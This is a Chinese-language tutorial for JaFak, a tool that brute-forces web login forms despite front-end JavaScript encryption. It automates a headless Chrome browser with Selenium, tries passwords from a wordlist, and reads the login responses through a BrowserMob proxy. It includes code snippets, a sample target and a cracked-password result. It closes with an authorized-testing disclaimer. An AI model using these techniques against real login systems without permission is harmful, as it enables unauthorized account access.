JaFak:一款无视js前端加密的账号密码爆破工具
字数 1070 2025-08-15 21:32:54
JaFak工具使用教程:基于Selenium的前端加密爆破技术
一、工具背景与原理
1.1 开发背景
JaFak是一款专门用于爆破前端加密登录系统的工具,主要解决以下场景:
- 系统登录接口存在用户名枚举漏洞但危害较低
- 前端使用复杂JS加密(如混淆代码)难以逆向分析
- 登录错误提示统一("用户名或密码错误")
- 无验证码或登录次数限制
1.2 核心原理
通过Selenium自动化控制真实浏览器,绕过前端加密:
- 让浏览器执行原始JS加密逻辑
- 模拟用户真实操作流程
- 通过代理捕获网络请求和响应
- 自动分析结果判断爆破是否成功
二、环境搭建
2.1 必要组件
- Python 3.x
- Chrome浏览器
- ChromeDriver(与浏览器版本匹配)
- BrowserMob Proxy
2.2 安装步骤
# 安装Python依赖
pip install selenium browsermob-proxy
# 下载BrowserMob Proxy
wget https://github.com/lightbody/browsermob-proxy/releases/download/browsermob-proxy-2.1.4/browsermob-proxy-2.1.4-bin.zip
unzip browsermob-proxy-2.1.4-bin.zip
三、核心代码解析
3.1 初始化代理
from browsermobproxy import Server
server = Server("browsermob-proxy-2.1.4/bin/browsermob-proxy")
server.start()
proxy = server.create_proxy()
3.2 配置Chrome选项
from selenium.webdriver.chrome.options import Options
chrome_options = Options()
chrome_options.add_argument('--proxy-server={0}'.format(proxy.proxy))
chrome_options.add_argument('--incognito') # 无痕模式避免密码记忆
chrome_options.add_argument('--headless') # 无头模式提高速度
3.3 主爆破逻辑
def fill_out_a_form(self, username, password):
# 清空并输入用户名
self.chrome.find_element_by_css_selector("[class='username-class']").clear()
self.chrome.find_element_by_css_selector("[class='username-class']").send_keys(username)
# 清空并输入密码
self.chrome.find_element_by_css_selector("[class='password-class']").clear()
self.chrome.find_element_by_css_selector("[class='password-class']").send_keys(password)
# 提交表单(使用RETURN避免click问题)
self.chrome.find_element_by_css_selector("[class='submit-class']").send_keys(Keys.RETURN)
3.4 响应捕获
def wget_response(self):
result = self.proxy.har
for entry in result['log']['entries']:
if "login" in entry['request']['url'].lower():
response = entry['response']['content']['text']
self.response_result.append(response)
四、实战使用教程
4.1 准备密码字典
创建password.txt文件,每行一个密码:
123456
password
admin123
qwerty
4.2 运行工具
Brower = Brower_scan(
url='https://target.com/login',
username='admin',
password_dir='password.txt'
)
4.3 结果分析
工具会输出每个密码尝试的结果:
密码:123456 :结果:{"status":"fail","code":403}
密码:admin123 :结果:{"status":"success","code":200}
五、关键问题解决
5.1 密码记忆问题
现象:浏览器自动补全导致密码拼接(如123456 + 789 → 123456789)
解决:
- 使用无痕模式
--incognito - 确保每次先clear()再send_keys()
- 按正确顺序操作:清空用户→输入用户→清空密码→输入密码
5.2 元素定位问题
解决方案:
- 优先使用CSS选择器
find_element_by_css_selector - 类名含空格时需用完整类名
[class='class1 class2'] - 可替换为其他定位方式:
find_element_by_id() find_element_by_name() find_element_by_xpath()
5.3 点击失效问题
现象:多次click()后报错
解决:改用键盘事件
element.send_keys(Keys.RETURN)
六、高级应用场景
6.1 复杂加密场景
- 适用于RSA、AES等前端加密
- 处理动态Token、时间戳等参数
- 自动处理Cookie和Session
6.2 其他自动化测试
- 验证码识别测试
- 多步骤业务流程测试
- 界面元素遍历测试
七、工具获取
GitHub项目地址:
https://github.com/Gamma-laboratory/JsFak
八、法律与道德声明
- 仅用于授权测试
- 禁止用于非法用途
- 遵守当地法律法规
- 测试前务必获取书面授权
通过本教程,您已掌握JaFak工具的核心原理和使用方法。该工具的创新之处在于完全绕过前端加密分析,通过浏览器自动化实现高效爆破,是渗透测试中处理前端加密系统的有力武器。